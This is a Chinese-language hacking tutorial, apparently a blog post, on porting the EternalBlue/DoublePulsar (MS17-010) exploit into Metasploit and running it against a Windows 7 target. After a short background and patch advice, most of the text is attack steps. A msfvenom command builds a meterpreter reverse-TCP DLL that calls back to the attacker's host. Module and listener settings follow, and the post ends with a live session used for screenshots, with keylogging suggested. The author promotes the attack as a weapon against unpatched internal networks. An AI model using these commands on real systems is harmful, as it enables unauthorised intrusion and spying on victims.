导语:通过Metasploit实现MS17-010漏洞攻击,让它成为内网中的大杀器。
0x01 引言
2017年4月,网络最为轰动的事件无疑是TheShadowBrokers放出一大批NSA(美国国家安全局)“方程式组织” (Equation Group)使用的极具破坏力的黑客工具,其中包括可以远程攻破全球约70%Windows机器的漏洞利用工具。一夜之间,全世界70%的windows服务器置于危险之中,国内使用windows服务器的高校、国企甚至政府机构也不能幸免。这对互联网无疑造成了一次大地震,因为已经很久没有出现过像MS17-010这种级别的漏洞了,因此就被大家笑语说出了“指哪打哪”这样一个事实。
受影响的Windows 版本包括Windows NT、Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8、Windows 2008、Windows 2008 R2、Windows Server 2012 SP0等。
0x02 Eternalblue(MS17-010)漏洞介绍
漏洞原理详见:NSA Eternalblue SMB漏洞分析
0x03 MS17-010漏洞的危害及修复措施
1.升级到微软提供支持的Windows版本,并安装补丁:https://blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/
2.安装相关的防护措施,如缓冲区溢出防御软件、杀毒软件。
3.无补丁的Windows版本,临时关闭135、137、445端口和3389远程登录。
0x04 移植MS17-010漏洞利用代码模块
Metasploit集合了大量的系统漏洞利用代码,但并不是拥有所有的漏洞代码,所以Metasploit有一个非常强大的功能,它允许使用者开发自己的漏洞模块,MS17-010的漏洞利用模块Metasploit虽然还没有集成,但是网络上已经有相应的渗透模块了,这些模块可能是用各种语言编写的,比如perl、python等,Metasploit支持各种不同语言编写的模块移植到其框架中,通过这种机制可以将各种现存的模块软件移植成为与Metasploit兼容的渗透模块。
当网络上Eternalblue漏洞烽烟四起,血流成河的时候,我在想为啥不把这个东西放到msf里去啊?现在外网服务器大部分都打补丁了,但是内网相对比较薄弱,打补丁的管理员肯定不会太多啊。那特么不就是内网一个大杀器么。正当我在构思代码要怎么撸的时候,瞄到了推特上一条消息。
还说什么,赶紧测试啊
Github:要地址点我
我那个激动啊,还看想毛线啊,赶紧看看人家怎么写的去测试啊!
首先我们把它克隆到我们本地
我们可以在里面修改一下一些默认的配置信息,(图片中标注的是默认文件地址)
修改完成后,我们将他放到metasploit的目录下供我们使用
(你想放哪里放哪里,这些都不重要,只要你记得住)
打开msf并重新加载全部文件
ok,加载完成后我们就可以读取到我们新添加进去的模块了
0x05 Metasploit下MS17-010漏洞提权实战利用
攻击机器kali:192.168.12.110
靶机win7 x32: 192.168.12.108
我们生成一个dll文件,是32位的系统就生成32位的dll,64位的系统就生成64位的系统,根据情况而定。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.12.110 lport=4444 -f dll -o /root/.wine/drive_c/eternal11.dll
打开msf,使用我们自己的模块
use exploit/windows/smb/eternalblue_doublepulsar
设置相关信息
set RHOST 192.168.12.108
我们需要设置payload来监听攻击成功后返回的shell
use exploit/multi/handler set lhost 192.168.12.110 set lport 4444 set PAYLOAD windows/meterpreter/reverse_tcp exploit
设置完成后
执行Exploit
我们成功获取到了一个meterpreter会话
看一下对方ip
ifconfig
这个时候,我们就可以干一些坏坏的事情了,比如说看看屏幕、键盘记录等等,我就截取个屏幕吧
screenshot
0x05 总结
这个漏洞刚出来的时候基本上可以通杀百分之七十的外网windows服务器。截止到这会,根据我的内网测试结果,可以通杀百分之九十的Windows内网服务器。